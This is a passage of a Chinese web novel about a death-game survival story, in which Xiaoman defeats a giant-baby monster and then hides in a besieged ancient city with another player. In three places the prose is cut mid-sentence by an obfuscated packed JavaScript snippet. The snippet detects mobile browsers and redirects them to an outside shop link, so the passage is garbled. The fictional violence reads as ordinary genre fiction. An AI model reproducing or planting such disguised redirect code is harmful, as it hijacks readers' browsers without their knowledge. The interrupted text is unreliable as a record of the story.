而小秦毫不留情地戳穿了他自我安慰的话,“你被他PUA傻了吧?要是我见着一头又听话又卖力干活的驴,我当然也会把它留在棚里。你没发现吗?自从你离开他手底下出来单干,他给你,给我们公司穿了多少小鞋?你还真以为他是在试炼你呢?” 二人小声地争辩了起来,小满见这里没什么自己插得上手的事情,悄悄退了下去。 在拐角她碰到了一个熟人,凯文看看她,又看看正在争执的涛哥和小秦,心下了然。他长叹一口气,“我就知道你肯定不会轻易放弃自己的想法。” 小满不以为然地摊摊手,“王姐替我们做了许多事情,而钱哥一直针对王姐,用王姐接受不了的事情羞辱她。彤彤说过以直报怨,以德报德。我这么做王姐能开心,婴儿能被喂饱,其他人也能获得求生的时间,有何不可呢。” “算了,你能坚持自己的想法就是好事。我就是想来告诉你们一声,婴儿又要醒了,我们下去安排一下牵制的顺序。”凯文皱着眉笑了,他伸手拍了拍小满的肩膀,自顾自地走下了楼梯。 婴儿伸手揉了揉惺忪的睡眼,刚刚清醒过来,便被身旁的奶油蛋糕吸引。他开心地大快朵颐,吃完后还意犹未尽地拍了拍自己的肚皮。 随即,他像是想起了什么,向站得远远的众人投去凶狠的目光,“你们一点也不乖,为什么!为什么!” 说罢,他蹬着小碎步晃晃悠悠地朝众人走去。 婴儿虽然体型巨大,反应也不差,但总归是吃了身高差的亏。几人在他的脚边晃来晃去,他的目光立刻被活动的目标靶子吸引,左捞一下右捏一把,就是抓不到人,还给自己摔了个屁股蹲。 恼羞成怒的婴儿吸取了教训,他不再追逐众人,而是锁定住一个单一的目标,朝他发起针对性的进攻。好巧不巧,那个人正是钱哥。 原本正站在原地叉腰喘气的钱哥一见风头不对,不管不顾地拔腿就跑,婴儿就像看到了老鼠的猫,怪笑着紧追在他身后。 “救命啊,救,救命啊!”钱哥跑得上气不接下气,但他不敢松懈分毫,因为只要慢一步,婴儿挥舞的手就很有可能抓到他。 涛哥见干扰不了执着追在钱哥身后的婴儿,赶紧出了个主意,“钱总,往地滑的地方跑,让那个怪物滑倒他就追不到你了!” 钱哥这个时候很听话,他左右瞄了眼,认准一处沾着奶油的地面朝那里跑去。 和预想中不同,钱哥并没有顺利地通过那边的地面,不知道是地太滑还是他腿太抖的原因,钱哥脚下一滑,扑通一下跌坐到地板上。 地上的奶油无疑是钱哥站起身的最大阻碍,他几次三番想要凭借上肢的支撑站起,但只要一发力,他又会跌回滑滑的地板上。 忽然,他像是想到了什么,伸手掏着自己的西装裤口袋。他颤颤巍巍地将一枚透明的碎片举到眼前,欲哭无泪。那个他未上交的保命奶瓶不知何时已经摔碎了,里面的奶液流了一地,不仅无用,还顺带减小了他和地板之间的摩擦力。 望着离得越来越近的婴儿,钱哥崩溃得瑟瑟发抖,嘴唇颤抖着竟是一句话也说不出来了。 “李涛,你来救救我啊!你这个王八蛋!”钱哥激动得眼泪鼻涕齐飞,四下张望着涛哥的身影。 就在他无助时,一旁忽然飞出一枚奶瓶,砸到了婴儿的肚子上。婴儿的注意力被奶瓶吸引走,安心地坐下享用起美味来。 当他喝完了奶瓶,转头又要去对付钱哥时,原本跌坐在地上的钱哥不见了。 婴儿心生疑惑,在大厅里转了一圈,正当他又要使出自己的音波攻击时,一股困倦上涌,他坐下垂着头,打起瞌睡来。 “你个下三滥的白眼狼,就是这么对待你的恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165955|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的?嗯?”钱哥早已没有了面对婴儿时畏畏缩缩的态度,还没等他调整好呼吸,见到涛哥,就这么气势汹汹地走了过去,抓住了涛哥的衣襟。涛哥低垂着头,看也不看钱哥一眼,只是一味地应着是。 灯泡插在二人中间,语气不善地冲钱哥说道:“刚才如果不是他冒着生命危险把你拖回来,光凭一个拖延时间的奶瓶,你早死了八百次了,对他的语气好点吧。” 钱哥倒愤愤不平起来了,他倒背着手,踱着外八步子,一脸的轻蔑,“照你说的,我还得谢谢他咯?我告诉你,李涛还是个小职员的时候在我可没少提拔他,到后来他翅膀硬了自己出去开了公司也是我给他拉的单子,我对他有再造之恩,这我还不能生气?” “是,是,钱总的好我都记在心里,您骂我两句是应该的,”涛哥一如往常,笑着给钱哥打圆场,“是我过去得不及时了,您宰相肚里能撑船,别放在心上哈。” 钱哥冷哼一声,也不搭理凑上来的涛哥,走到一旁清理自己沾着异物的西装裤。 或许是觉得自己遭受到了背刺,灯泡没好气地翻了个白眼,回到了自己的小团体中。一直看着涛哥的小满嘴角微微勾起,轻松地笑了。 剩下的人勉力和婴儿放了一圈风筝后,婴儿终于唱起了歌谣:“宝宝小,妈妈追着宝宝跑。小鸟三声过,宝宝变大了,宝宝追着妈妈跑。” 直觉告诉小满,这句歌谣与婴儿有关,但具体是指什么,小满一时之间还真的毫无头绪。 目前她并没有看到任何和小鸟有关的东西。这个小鸟是指什么呢?是活体的动物,又或者是标本,还是别的什么有象征意义的东西? “我,我好像看到过和小鸟有关的东西!”王姐眼中闪过一抹惊喜,“在三楼有一个挂钟,是小鸟形状的!” 小鸟难道指的是那个小鸟钟,叫三声难道是指钟响三下? 事不宜迟,小满在王姐的指引下三步并作两步地迈上台阶,往那扇门而去。 在见到那个钟表的刹那,小满几乎可以确信,那就是婴儿歌谣中所说的“小鸟”。 虽说是小鸟钟,但它的个头是一点也不小,几乎两人高的钟表底座有着棕色杉木打制而成的小鸟形状外壳,巨大的表盘上标注着十二个黑色罗马数字。其他的零件一应俱全,独独表盘上没有三枚指针。 小满心里咯噔一下,看来三枚指针还在其他的门中,要一一集齐拿到这里,将钟表组装好,才能继续实施自己的计划。 “其他的指针呢?你们还有谁知道门后的指针在哪?”出于谨慎,小满一边疏散围过来的人,一边大声地询问。 木木在转身离开前立刻举起了手,给与了小满肯定的回答,“在二楼,二楼有一双很长的筷子,那个或许可以当做指针!” 小满将那双筷子拿了上来。仔细看去一长一短的两根胳膊长的筷子尾端皆有一个圆孔,似乎可以放到圆盘的上方。 时针和分针已经就位,剩下的就只剩下暂时还不知道在何处的秒针了。 15. 巨婴8 小满害怕拿取的东西过多,婴儿会提前醒来,于是赶紧下楼,带大家搬运一楼门后的可食用物品。 “这个门后面是生的白羽鸡,有十几只,可以先搬出去。那边是一盒蛋挞,唔,虽然少了点,但最起码聊胜于无吧?还有那里,那里是一袋面粉……”在小满的指挥下,众人很快从一楼和二楼的部分房间搬出了小山一样的食物。 “还有这些!”凯文掏出自己口袋中还没来得及吃的补给,一股脑地扔了过去。 即便他们如此努力地寻找可食用的物品,最后所积攒的规模依旧比他们之前看到的蛋糕或是果冻的形状小不少。难道这最后的三次真的要喂婴儿真人吗? 小满走到三楼的小鸟钟前盘腿沉思起来。 “秒针……秒针在哪里……”小满皱着眉,在房间里走来走去。 她刚才问过在场的人,没有人再见到过像筷子一样又细又长的物体。难不成最后的秒针在婴儿身上,需要和婴儿做什么互动才能拿到吗? 但很快,她就否决了自己的这个想法。毕竟靠近婴儿,给婴儿造成伤害已经很难了,如果秒针真的在婴儿身上,不把婴儿的一截肢体砍下来是不可能找到的,既然都可以把婴儿伤害到这种地步,那还要歌谣和小鸟钟做什么? 唯有一点可以确定,那就是秒针肯定还存在于这个房间中。 还有什么自己忽略掉的地方吗?如果门内没有,难道是在门外? 一道闪电击中了小满的大脑,她灵光乍现:是的,她忽略了一个地方,那就是门外的大厅! 当初牛仔说要杀掉婴儿,组织了一群人从门后挑选了一些可以当做工具的物体来实行自己的计划。说不定那根尖长的秒针就那样被他们那群人拿去当了武器! 她飞快地跑下楼,告诉大家她的发现。 当初他们被婴儿重创后四下逃离,等小满提出可以通过喂食的方法通关后他们又将原本拿出的武器扔到了一处不起眼的角落。 在木木和灯泡的带领下,小满蹲在那堆破铜烂铁中翻找,却始终找不到自己需要的那根秒针。 木木犹豫地指向一处红色的血渍,“牛仔捅那个怪物的时候用的武器我们没办法收回来,就只好放在那里。你要找的该不会是那个吧?” 得了木木的提示,小满的心情振奋不少。 “喂喂喂凯文,帮我一个忙好吗?”小满看着那堆人形物体,蠢蠢欲动,“我要去翻找我想要的东西,带奶瓶不方便,你可以给我打个掩护吗?” “我去吧?我行动比你快。”凯文皱着眉打量几乎比自己矮一头的小满,眼底满是担心。 小满贴心地奉劝道:“你上个任务时留下的阴影,就是吃不下红肉那个毛病,是不是还在呢。我现在要在新鲜的尸体中翻找东西,我觉得你做不到,让我来吧。” 凯文看了眼那片血色阴影,竟莫名回忆起了第一个任务中的热腾腾的血腥气。强压下胃中翻滚的不适感后,凯文几乎是瞬间就赞同了小满的提议,“我会保护好你的!” “好。”小满勾出了一个欣慰的笑。 婴儿再次苏醒,这次和往常不同,他没有犹豫的时间,几乎是他反映过来的瞬息,他站起身,三口并做两口地吃掉了面前堆放着的食物,旋即晃动脑袋四下搜寻着人类。 离他不远处,正在翻找秒针的小满自然而然地吸引了他的注意,他蹒跚着,大步向小满冲去。 一个适时出现的奶瓶打断了他前进的脚步,他捡起奶瓶,津津有味地喝了起来。 但他喝的时间实在是太短了,几乎是之前几次的三分之一。小满连个秒针的影子都还未找到,婴儿又气势汹汹地朝她扑来。 别无他法,凯文只好一个接一个地抛出奶瓶,为小满争取翻找的时间。 终于,小满看见了一根棍状的长条。长条被压在一堆黏糊糊的□□中,几乎要嵌进地板中去。 在最后一个奶瓶抛出的刹那,小满终于将它拔出。棍装的铁条一端十分尖锐,而另一端则有一个规则的圆形孔洞。小满之前之所以没有印象,完全是因为牛仔为了加长武器的长度,在末端,也就是圆孔的一侧添加了一截木棍延伸。 木棍碎了,秒针的原貌这才出现在小满眼前。她将它紧紧抱在怀中,往三楼跑去。 不知是不是预测到自己大难临头,婴儿匆匆吸完最后一个奶瓶,大声吼叫着爬向一侧的楼梯,“脏东西,脏东西,你在哪?你在哪?” 他大力捶打着楼梯间的接口,整个二层摇摇欲坠。如果不是有几根坚固的柱子支撑,天花板也几乎要掉下来。 小满平时根本不会主动运动,上一个任务还是考验智力的类型,经此一役,她可算是知道了健身的重要性。 现在后悔也晚了,她跑得眼冒金星,上气不接下气,喉咙中也传来一阵阵腥甜味。 她努力在摇晃的楼层中躲避碎裂的地板,咬牙向三楼冲去。 当小满出现在走廊中的刹那,婴儿像是背后长了眼睛,猛地转身锁定了小满所在的方位。 眼看他就要伸手抓住小满,忽然,一坨肉飞了出去,撞在婴儿的胸膛上,弹了一下又掉到地上。 “钱哥!钱哥你怎么了!” 是涛哥的声音!涛哥从二楼的围栏上探出半个身子,冲着掉下去的钱哥大喊大叫。 婴儿被这突如其来的甜点吓了一跳,等他看清了地上躺着还在呻吟的人,顿时喜不自胜,一下将他拿在了手中。 钱哥被这么一摔,鼻血和口中的鲜血狂飙。有些血淌进了他的气管,呛得他一阵咳嗽,甚至都咳出了血沫。 他死死瞪着涛哥,眼中是显而易见的愤怒,“妈的,你这个******!你敢阴老子!” 涛哥依旧满脸震惊,他翻找着自己上下的口袋,急得眼泪都快出来了,“钱总,这就是个意外,我,我去找个奶瓶来救你,你撑住啊!” 小秦也很配合,在一旁喊着钱总啊,不要死啊之类的话,那叫一个情深意切。 当然,这些话钱哥再也听不到了。婴儿一口就咬下了他的头,为吃到了好吃的而高兴得摇头晃脑。 小满脚步未停,她来到小鸟钟的门前,耐心地敲着门对暗号,随即又以自己最快的速度解开了屏障的谜题,来到了小鸟钟面前。 最后的秒针归位,三根指针在表盘上旋转着,似乎在等待小满的下一步动作。 宝宝小,妈妈追着宝宝跑。小鸟三声过,宝宝变大了,宝宝追着妈妈跑。 小满先是将三根指针逆时针旋转三圈,指针叮地一声归位,什么都没有发生。 难道不是逆时针转三圈的意思? 看到表盘上紧闭的小门,小满又来了想法。她扳住时针和秒针指向最上方的12,又控制着分针指向右侧的3. 奇迹发生了,指针没有回弹,表盘上方的小门弹出一只报时的小木鸟,咕咕叫了三声。 还在兴高采烈吃东西的婴儿听到小鸟的报时声,动作一滞,还未吃完的一只脚从他的手中跌落,吧唧一下摔到地上。 随即,他的身体像是被人按下了倒退键,以大家肉眼可见的速度变小,再变小。 小满从房间中出来时,看到的就是只有一人长的婴儿了。粉色皮肤的婴儿仰躺在大厅中,无助地哇哇大哭。 虽然他还是很大,但他一不会睁眼,二不会说话,和普通的婴儿无异。 “快,用工具杀了他!”小满朝众人大喊。 剩下的人如梦方醒,拿起一旁放置的武器,却迟迟下不去手。无他,在进来前,众人都是芸芸众生中最平常的那一个,连杀鸡的场景都不多见,突兀地要杀死一个婴儿外貌的物体,确实很难迈过心里的那道坎。 小满看得心焦,她真的很害怕横生枝节。一不做二不休,她喊道:“木木,灯泡,冬冬! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165956|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们忘了小雅和牛仔是怎么死的了吗?” 被小满点到名字的三人一个激灵,互相交换了一个眼神,随后默契地举起了手中的武器。 他们喊着小雅啊,牛仔啊,我们给你们报仇了一类的话,发了疯似的劈砍着婴儿的脖颈。 温热的鲜血溅到他们的脸上,又被眼泪冲刷,顺着脸颊滑下。他们一个都没有停手。 小满走下三楼时,那场酣畅淋漓的复仇终于到了尾声。 涛哥和小秦一人一根烟,依靠在墙边看着钱哥剩下的那只脚。王姐抱着小女孩躲在已然断气的方哥所在的柱子后,捂着她的耳朵,将她紧紧抱在自己身前。凯文躲在角落,单手扶着墙壁呕吐。 婴儿已经彻底死亡,小满的面前出现了一个白色弹窗,会员等级依旧为0,积分一栏则是90/100。 小满试探性地看了眼积分,没想到眼前展开一栏明细: 商品名:巨婴,会员积分:30,隐藏积分:30。 积分一下子实现了跃升,小满开心地拍了拍凯文的后背,“隐藏任务完成了,这次的积分特别多!我们很快就能出去了!啊,你还好吗?” “我觉得我不好。”凯文依靠着墙壁,抬头望天,脸色是像纸一样的苍白。 小满不知道该怎么安慰他,毕竟彤彤也没说过要如何安慰一个世界观受到冲击的人,一切都要靠她自己摸索。 于是她俯下身,学着彤彤的模样轻拍凯文的后背,“你是不是道德感和原则感太强了?所以在目睹杀人场景后有心理创伤了?” 凯文连挤出一点笑的力气都没有了,他望着懵懵懂懂看着他的小满,轻声道:“这和道德感与原则没关系吧?这是我自己的问题。” “你要讲讲你的故事?所以我是不是应该在你身边听你讲这些东西?”小满歪着脑袋,提出了自己所正确的想法。 凯文皱着眉笑了,他摇摇头,“我暂时没有讲故事的心情,等我再缓缓吧。” 还不等小满应答,他头一歪,又哇地一口吐了出来。 黑色裂隙再次出现在众人面前,大部分人都麻木地移动着脚步向裂隙中走去。 小满的视线与涛哥和小秦碰撞,默契地一触即分。他们三个,包括在场的人都知道发生了什么,但他们还是选择用一个冠冕堂皇的理由将自己包装成了一个救人心切的好人。就是不知道往后他们的公司会怎样发展,不过有了可以兑换东西的会员积分,想必将来会容易一些吧? 王姐早就哭干了眼泪,她一手牵着小女孩,另一只手费力地拖着早就没有呼吸的方哥,一步步向外走去。路过小满时,她还强撑着和小满道了谢。小满对她的表现很欣慰,于是也还以一个礼貌的笑。 木木他们是最后才离开的,他们三个抱着剩下两个人的滑板,流着泪走向了离开的裂隙。 “抱歉,可以等一下吗?”吐到虚脱的凯文调整了一下自己沙哑的嗓音,喊住了正要离开的三人。 他微微低头,算是对他们鞠了一躬,“对不起,一开始小雅死的时候我还要你们坚强些,要你们为活着的朋友考虑。我有点何不食肉糜那意思,实在是有些说风凉话了。如果不是我一直要牛仔冷静,为大局考虑,或许他也不会上头,也就不会死。对不起。” 木木流着眼泪平静地开口:“从我个人的角度而言,你不用道歉。如果不是你还有你旁边的那个女生,我们剩下的所有人或许都会死在这。” 灯泡和冬冬虽然没有说话,但同样沉默地点点头,算是认同了木木的话。 偌大的大厅中只剩下小满和凯文两人。 “走吗?还是要拉你一把?”小满最后打量了一下残败的大厅,向凯文伸出了手。 凯文握住小满的手,借着她的力量顺势站起身,“嗯,走吧,咱们出去后还可以继续商量一下接下来的安排,比如,我房间里的那把枪应该怎么处置。” 16. 垂玉城七日2 贺老爷笑容依旧,轻抚着贺夫人的肚子:“只是交战罢了,不必特意来通禀。让府兵把前后大门都看紧,切忌闲杂人等进出。” 小厮头扣得更响,急得眼泪哗哗直落,“不是的,不是的老爷,那北狄人不知道用了个什么武器,把垂玉城北门撞开了,眼下北狄大军已入城中,正在四处烧杀抢掠呢!” “什,什么?”听到小厮的回答,贺老爷脸色一沉。虽说他早就知道垂玉城的守备军支撑不了多久,但这一天来得还是比他预想的日子提前不少。 他站起身,倒背着手在厅中踱步。片刻后,他看向怀孕的妻子,心中有了主意。 贺老爷先是让几名婢女搀扶贺夫人离开,随后他取下腰牌,递给一位年老的管家,随后又召集来一队身强体壮的大汉,大声吩咐着,“来两个人和邓管家一道去库房取些古玩书画,再三个去柴房搬几块木板将后门钉死。其余人把府上的下人赶回屋子看守,若无要事不可出门。” 趁着要打自己的丫鬟专注地趴在门边偷听消息,小满悄无声息地倒退几步,离开了正厅。 目前的进展和贺老爷所做的对策与小满预料的差不多,她若是进了被严密看守的下人屋子就成了砧板上任人宰割的鱼肉,到时候就是躲也躲不了,跑也跑不得。眼下最好是待在无人的僻静处,等大部分人都被赶到屋子里后自己再进行下一步计划。 小满在来前厅的路上曾借着问路的由头在贺府中转过几圈,知道在后花园竹林茂密处修建有贺府的家祠。她低着头装作随大流回屋的模样,却在园林七拐八拐的游廊中悄悄地脱离了队伍,回头看到没有人跟来后,绕到祠堂一侧,通过窗户翻进了祠堂中。 祠堂的门大开着,一眼就可看到与大门相对的三排木质灵位。灵位两侧点着长明的油灯,前方放着一张齐腰高的供桌,桌上的三张青瓷碟中垒着叠成宝塔样的梨子,蜜柑和石榴。果盘后方的黄铜香炉中插着三支崭新的檀香,整个祠堂弥漫着一股温暖的木质调香味。摆放着灵位的架子上盖着一块酱紫的绸缎,绸缎很大很长,末尾拖地,将整个木质架子遮得严严实实。 小满挑了一个梨子一个蜜柑揣进怀里,钻入架子下方的中空区域。 她一面小口小口地啃着梨子,查看当前的时间:6D23H29M16S,距离自己抵达任务区域才过去了半小时。她调出任务面板看了又看,除了最开始那句简短的任务目标,别的信息一概没有。小满对当前的任务非常好奇,因为截止目前为止,她看到的都是相当正常的人,经历的都是相当正常的事。没有恐怖的怪物,没有需要动脑子才能达成的目标,只是让每个会员单纯地活着就好。 祠堂设在贺府围墙的边缘,与外界只有一墙之隔。前头的三阵鼓鸣声响过后,石块崩裂的声音犹如滚滚雷鸣,将垂玉城虚假的平静击碎。不远处一道黑烟直冲云霄,像是一面昭示着死亡的旗帜。火光厮杀声渐起,小满侧耳听去,那男女老少的哭喊声仿佛隔得很远很远,模模糊糊地听不清楚。但有一点可以肯定,这里虽然没有什么超自然生物,但依旧是一场严峻的生存游戏。 贺府中忙着组织秩序的人忙得脚不沾地,也曾有人来祠堂瞧过几眼,见无事发生也就放心离去了。又过了十几分钟,贺府彻底安静下来,小满将手中的梨核放到某个老爷的牌位后,伸了个懒腰开始做起热身运动。 出了贺府,她不能像无头苍蝇一样乱跑,最好是能找到垂玉城的地形图,又或者了解北狄军队的动向。因此,她决定趁着现在人少,找个可以登高远眺的地方收集信息。 越是靠近前厅,值守的府兵也就越多。小满四下张望了一番,钻进了正厅一侧的亭子。 亭中央摆放着绣架,绣架上还有一副未绣完的牡丹图,看来是某位小姐的娱乐场所。也正因此,亭子三面都设有绣花纱帐,若不是走近些,是发现不了缩在纱帐后的小满的。 这里与正厅隔着一片人工湖,小满眯眼望去,能看到几个模模糊糊的人影。 年老管家弓着身子,恭恭敬敬地将三名士兵引入。为首的那个穿着有皮毛装饰的铠甲,配着一柄长刀,笑容满面地冲贺老爷打着招呼。 贺老爷不敢怠慢,想要请来人坐下品一盏茶,不料来人摆手拒绝,还用刀挑翻了奉茶婢女手中的茶盏,操着一口带着浓重口音的普通话说道:“客套话就不必了,贺老爷,我们的来意你想必也清楚,早点拿出来也能节省咱们大家的时间,你说是不是?” “是,当然是,”贺老爷打开了早就放在地上的木箱,“这些我一早都准备好了,若是大人们有旁的事,我便差人送去你们营帐中。” 另一个穿着甲胄的士兵走近箱子看了看,用刀尖挑起一卷画轴,讥笑道,“不是说贺老爷是垂玉城数一数二的大户吗?怎么净拿些破烂来糊弄咱们呢?” “这不是破烂,这可是张庭先生的墨宝!”看到士兵粗鲁的举动,贺老爷一阵肉痛,他快步上前拿下画卷展开,伸手指向一处红印,“瞧,这印呈葫芦形,边缘处缺损一角,是当年……” 他话还没说完,领头的那个不耐烦地拔刀,一下将卷轴劈成了两半,“我们几个都是粗人,不认识什么张庭李庭的。我劝你还是少拿些文绉绉的东西来糊弄我们,我们要的是金子,金子!” 贺老爷勉强挤出一个笑,拍了拍手,几个下人抬进来一箩金灿灿的金条。货真价实的金条让三个士兵的眼睛都看直了,他们一拥而上,往盔甲里拼命塞着金条。 见他们喜笑颜开,贺老爷悄悄松了口气。他往领头的那个手里塞了个玉佩,低声说了几句什么。 “就是让袁太守来找你吃酒呗,知道了知道了。”士兵敷衍地回答着,目光却一刻都没从金条上移开过。 看着他们的动作,小满眉头紧蹙,低着身子快速撤离。 小满回到祠堂,瞥了眼桌上的果盘,不由得放轻了动作。梨子比自己离开前少了一个,盖住架子的绸缎的一侧褶皱也有变化,看来是有不速之客和自己一样盯上了这处藏身之地。 是这里的人还是会员?是流窜的平民还是躲藏的士兵?小满的脑中飞快闪过几个可能性。她不想和旁人分享这处躲藏之地,也不想自己把对方赶走后对方抱着鱼死网破的心态大声叫嚷报复。难道只能先劝对方冷静,等对方毫无防备之时再把那个人杀了吗? 多番权衡下,小满张望了一下四周,见无人经过,清清嗓子说道:“Anybodyhere?” “Here,here!”一个蓝色身影从灵台架下一跃而出,她的眼神中满是惊喜,“姐姐你也是会员吗?” 小满倒退一步,快速打量面前的女孩。女孩看起来很年轻,脸上画着精致的淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220528|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妆,耳垂上戴着一副小巧的钻石耳钉,她的指甲上涂着深蓝色或者鸢尾紫色的指甲油,上面的水钻闪闪发光。她身上穿着包装袋中的粗布短打,头上包着一块蓝色头巾,她的穿着与她的样貌和打扮形成了强烈的反差,一股别扭感扑面而来。 女孩扬起下巴,坦然地接受小满的扫视。她似乎是个自来熟的性格,上前一步将小满的手紧紧握在胸前,做起了自我介绍,“你好,我叫嘻嘻。你怎么称呼?” 小满费力地将手从嘻嘻合拢的手掌中拔出,“小满,二十四节气的那个小满。你是茜茜公主的茜茜?” “不是啦,”嘻嘻伸出一根手指轻点自己的单边酒窝,“是嘻嘻哈哈的嘻嘻。” 嘻嘻从兜里掏出一根缠绕在卡片上的金链,塞进了小满的手里,“美女姐姐,相逢就是缘,这是我给你的见面礼,你就让我和你一起蹲在这里嘛。对了,这是我家公司的地址和邮箱。如果你能出去,可以和工作人员联系一下,到时候我还会给你二十万现金。” “那如果你死在这里,我还能领到钱吗?”小满好奇道。 “可以的可以的,没问题!”嘻嘻拍着胸脯打包票。 朴实无华的电镀镜面名片正面印刻着一家公司的商标,背面则用中英文两种字体刻着公司的名称和一些联系方式。小满看了一眼名片,随后将两样东西塞回到嘻嘻口袋中。 嘻嘻以为这是拒绝的意思,原本扬起的笑脸一下子垮掉了,“我原本以为你是个挺乐于助人的女人,没想到你和我之前遇到的渣男没什么区别。我不管,我来的时候这里没人,我偏要在这里躲着!” 说罢,她抱着双臂一屁股坐在地上,理直气壮地往架子底缩了缩。 小满长长地叹了口气,“你可以躲在这,但我不要钱,要点别的什么。” 一听到答应帮忙,嘻嘻的表情由阴转晴。她小鸡啄米似的点点头,“好说,都好说,姐姐你来找我帮忙我是不会推辞的。” “那你说你之前遇到的渣男是……”小满好奇问道。 一提到那个渣男,嘻嘻就来气。她伸手锤了一下地面,“那个男的本来都说好了会带我躲着的,谁知道他收了我的东西,一瞧见我的头发就跑了。真是的,好没诚信!好可恶!渣男!” “你的头发,怎么了?” 嘻嘻自觉失言,她惴惴不安地看了眼小满,还想吞吞吐吐地糊弄过去。小满一手拉住她的胳膊,另一只手扯下了嘻嘻的头巾。一头浅紫色的长卷发从头巾中滑落,像是一树盛开的紫藤花。 小满恍然大悟:在一片乌发的古人中,嘻嘻一头绚丽的紫发完全是最醒目的存在。难怪那个男的撒腿就跑,看来是害怕和嘻嘻一起暴露。 “你,你可别把我赶出去啊,你都收了我的东西了……不对,你还给我了……呜呜呜……”嘻嘻嘴角耷拉着,她蹲在架子下,像是一朵蔫巴巴的小蘑菇。 “不赶你,你可以一直呆在这,反正我要走了。”小满整理了一下自己的丫鬟服饰,随口答道。 听到这话的嘻嘻一下子蹦了起来,她拉住小满的衣袖可怜巴巴地看着她,“不行不行,我要和你一起,你去哪里我去哪里。” 见嘻嘻如此固执,小满任命似的贴着她坐在架子下,不禁又叹了口气。 她感觉自己这辈子的气都在今天叹尽了。 17. 垂玉城七日3 嘻嘻一副“你说归你说听不听是我的事反正我就呆在这里不走了”的表情,但在小满讲完自己的计划后,她的笑变得有些勉强,“你是说,让我去装神弄鬼,吓唬吓唬那些人?” 小满看了眼她的头发,“这里的人肯定没见过紫色头发的人,你把头发垂下来挡住自己的脸,然后一边转圈一边唱英文歌,等有人看到了,你就往祠堂这边跑。那些人追过来见不到人,就见到一堆牌位,肯定会以为是什么现世神女,祖宗显灵之类的征兆。放心,只是让你转移一下视线而已,做完这些抓紧跑回来就行了。” “神女?我看是女鬼才对吧,你这计划一点也不靠谱,一点也不!”嘻嘻不满地抗议着,“这也太冒险了,要是被他们抓住,我不就是装神弄鬼的大聪明,死路一条了?” 小满听到这话很意外,她一挑眉,“你刚才不是说就算你死了也会有人给我我想要的吗?” 嘻嘻瞬间失去了表情管理,“你你你你你,你是这么想的?你真是这么想的?好歹也是得靠我帮你办事,你照顾我一下会死啊?” 在亲耳听到小满说“帮你一下我也不会死的”的时候,嘻嘻抬头望天怀疑人生,“不是我说,既然那个贺老爷看起来这么有钱,交出去的那些保护费对于他来说应该不算什么吧?咱们就悄悄待在他院子里,等他没钱了再跑不就好了?” 小满低声叹气道:“这一次来的三个人只是在释放只要乖乖上交财物就能平安无事的虚假信号。在我记得有个古人说过,靠牺牲自己的利益向贪婪的人求和,迟早会因为交不出东西而被杀死。我猜最少一天,最多三天,外面的那些人就会打进来。为了防止贺府的财产走失,他们还会事先围府,所以我们越早走越好。” 嘻嘻抱住自己的膝盖,眼睛一眨不眨地盯着小满,仿佛是在确认她说的话的真假。片刻后,她不情不愿地应了一声,勉强答应了小满的要求。 上午云层渐厚,天也变得阴沉沉的。不多时雨势渐大,绵绵细雨织成一片轻盈的柔纱,笼罩在垂玉城上方。城中的嘈乱杂音 嘻嘻回忆着自己看过的电影,将头发弄到脸前,确保不会露出自己的脸,她想象了一下双手自然下垂和僵尸跳的动作,小心地走出了祠堂。在看到一队巡逻的府兵经过后,她错开搜寻的视线,按照小满指明的方向朝下人院走去。 下人院正门似乎有人看守,嘻嘻见后方墙上有道透气的小窗,赶紧趴了过去。 虽说贺老爷下令所有人待在自己房内不能随意走动,但架不住贺府上一直平安无事,一些人闲得无聊走出房门,在大院中小声聊着家长里短。 原本看守院子的壮汉也加入了他们的讨论,兴致勃勃地给大家讲解他看到的那几批北狄士兵是多么高壮,又是如何贪婪地搬走金银财宝的。 嘻嘻心里有任务,没心情听他们侃大山,于是深吸一口气,心一横,将头摆在小窗口处大笑一声。 有几个正对着小窗的人看到了一闪而过的紫色身影,忍不住惊呼出声,“有鬼!有长毛鬼啊!” 更多的人只是嗤笑那几个人的大惊小怪,“鬼?什么鬼?你别自己吓自己!”,“就是呀,我还以为是蛮子打进来了呢。” 直到听到那几个人异口同声的指认,一个胆大的壮汉才缓缓靠近空无一物的小窗,抻着脖子向外张望。 嘻嘻见时机成熟,快速贴近靠近小窗的壮汉,一面扒在上面哈哈大笑,一面疯狂地念着英文字母,“ABCDEFG!ABCDEFG!” 壮汉被吓得哭爹喊娘,“有鬼,真的有女鬼!” 乱哄哄的人群爆发一阵惊叫,众人忙不迭地逃回自己的屋子,生怕慢一步就会被“紫发女鬼”抓住吃掉。 嘻嘻见小满留给自己的任务圆满达成,立刻脚下抹油,逃似的离开了现场。 